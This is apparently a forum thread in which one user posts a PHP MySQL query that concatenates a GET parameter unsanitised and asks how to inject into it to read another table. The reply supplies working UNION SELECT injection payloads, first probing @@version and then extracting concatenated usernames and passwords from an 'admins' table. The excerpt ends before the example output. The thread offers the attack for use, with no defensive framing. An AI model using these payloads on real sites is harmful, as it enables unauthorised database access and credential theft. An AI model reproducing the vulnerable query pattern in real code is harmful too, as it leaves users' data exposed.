Hi,
I have this sql query :
| Code: | $query = mysql_query("SELECT * FROM `table` WHERE `field`=".$_GET['field']);
$field = mysql_fetch_array($query);
echo $field['pseudo']; |
I want to do a sql injection in this query and select 2 fields in another table.
Please help me ! |

How many columns do you have in `table`? Let's say it's seven.
Next, which column is `pseudo`? Let's say it's 5-th.
Then:
| Code: |
?field=-1+UNION+SELECT+1,2,3,4,@@version,6,7
|
If you can see mysql version string, then you have success!
Now let's assume, that target table is `admins` and target columns are `username` and `password`.
Then:
| Code: |
?field=-1+UNION+SELECT+1,2,3,4,CONCAT(username,0x3a,password),6,7+FROM+`admins`
|
And result can be something like this:
